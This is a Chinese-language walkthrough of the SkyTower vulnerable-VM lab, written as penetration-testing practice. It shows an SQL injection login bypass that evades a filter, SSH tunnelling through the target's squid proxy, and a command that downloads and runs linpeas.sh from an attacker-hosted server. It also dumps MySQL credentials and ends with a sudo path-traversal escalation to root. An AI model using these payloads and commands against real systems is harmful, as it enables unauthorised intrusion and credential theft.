本文思路
nmap掃描埠---->萬能密碼登錄web,拿到john的ssh密碼----->通過代理連接ssh,得到john的shell---->linpeas.sh掃描發現mysql---->通過mysql得到其他用戶ssh賬戶密碼---->用sara用戶登錄并通過sudo命令提權(找到root的密碼)
具體步驟
步驟1:nmap掃描
sudo nmap -sS -A -p- 192.168.9.224
掃描到了22埠(ssh,但是狀態是filtered,不一定能連接),80埠(http),3128(squid代理,不常見,可能有大用)

步驟2:nikto和dirb掃描(沒啥大用)
用以下命令掃描,沒掃出有用的東西
nikto -host 192.168.9.224
dirb http://192.168.9.224/
步驟3:萬能密碼登錄web,得到ssh用戶名和密碼
瀏覽器訪問80埠:http://192.168.9.224/,看到一個登錄頁面

一般這種情況會想到試試默認用戶名和弱口令,以及萬能密碼,
由于這邊什么提示都沒有,感覺萬能密碼應該比默認用戶名+弱口令靠譜
試了以下e-mail框填 123‘ or 1=1#
回傳sql語法報錯,從報錯資訊可見,=顯然被過濾了,但是還看不出來or有沒有被過濾

再試試 e-mail框填 123‘ or
從報錯資訊可知or也被過濾了

后來我試了雙寫繞過,or的大寫繞過,都不行,
在網上查找了sql注入等號的繞過方法(sql注入常見繞過技巧 - ctrl_TT豆 - 博客園)之后,
在 e-mail框填 1'<>'2'#
其中<>表示不等于

成功登錄 ,得到ssh用戶名john,密碼hereisjohn

步驟4: 通過代理進行ssh登錄
我先嘗試了直接ssh登錄,完全沒有反應,果然和nmap掃描結果出來之后的猜測一樣,

由于nmap還掃描出了3128埠,是個squid代理,我猜測這邊應該是需要通過代理來登錄ssh,
之前完全沒有接觸過這方面的知識,只好跟著官網上的writeup學了一下如何通過代理進行ssh連接,
看到兩種方法,一種是通過proxytunnel,另一種是通過proxychains
I Climbed the SkyTower, But No Rapunzel :( - FourFourFourFour
https://defsecurityjam.blogspot.com/2015/05/the-sky-tower-vulnerable-vm-walkthrough.html
(1)通過proxytunnel連接ssh
先輸入以下命令,該命令表示本地監聽222埠,通過代理服務器192.168.9.224(靶機)的3128埠去訪問192.168.9.224(靶機)的22埠
proxytunnel -p 192.168.9.224:3128 -d 127.0.0.1:22 -a 222
輸入上述命令后,命令列終端就卡在那兒了,所以要再開一個命令列終端,輸入如下命令,確認一下攻擊機上的222埠已經開放
netstat -antp tcp | grep :222

接下來就可以進行ssh連接了
ssh john@127.0.0.1 -p 222
然而,連上的瞬間, 連接就斷開了……

使用-t引數強制打開一個偽終端
ssh john@127.0.0.1 -p 222 -t "/bin/sh"

(2)通過proxychains連接ssh
這種方法更簡單點,不過kali需要proxychains,
首先修改proxychains的組態檔
sudo vim /etc/proxychains4.conf
代理改成靶機的3128埠

然后通過proxychains執行ssh命令,也是需要加-t引數
proxychains ssh john@192.168.9.224 -t "/bin/sh"

步驟5:通過mysql發現其他用戶賬號密碼
攻擊機起http服務
python -m SimpleHTTPServer 80
到一個john有寫權限的目錄下,比如/home/john,執行如下命令,下載并執行linpeas.sh
wget http://192.168.9.10/linpeas.sh && chmod 777 linpeas.sh && ./linpeas.sh
執行結果中有在本地監聽的3306埠

執行如下命令也能發現在本地監聽的3306埠,并且可以確認是mysql
netstat -ant
netstat -at

在哪里找mysql的用戶名和密碼呢?想到登錄時報sql語法錯誤,登錄失敗,以及登錄成功的頁面叫login.php,這個檔案中應該會有連接資料庫并查詢的操作,
在/var/www/目錄下找到 login.php ,幸運的是,這個檔案是所有用戶可讀的

該檔案內容中包含了mysql的用戶名和密碼(root : root)

登錄mysql
mysql -u root -p

查看資料庫所有表
mysql> show databases;

進入 SkyTech 資料庫
mysql> use SkyTech;
查看資料庫所有表
mysql> show tables;

查看login表所有內容
mysql> select * from login;
發現了另外兩個用戶sara和william的賬號和密碼

步驟6:sudo提權
用sara用戶登錄,用戶名是sara,密碼是ihatethisjob(為啥不用william呢,因為用上一步中william的密碼登錄不上去)
proxychains ssh sara@192.168.9.224 -t "/bin/sh"

同樣也是找個sara有寫權限的目錄,下載并執行linpeas.sh
執行結果有如下資訊,意思是sara可以通過sudo命令以root身份執行
/bin/cat /accounts/*和/bin/ls /accounts/*命令

ls好像在本靶機沒啥大用,但cat就有大用了
靶機登錄界面提示 flag.txt在/root/目錄下

sara用戶本身是無法進入/root/目錄的
但借助于這個/bin/cat /accounts/*,sara可以讀取/root/flag.txt的內容
sudo cat /accounts/../root/flag.txt
root的密碼是theskytower

ssh登錄,用戶名root,密碼theskytower,得到root權限
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/389065.html
標籤:其他
上一篇:滲透測驗前期——資訊收集
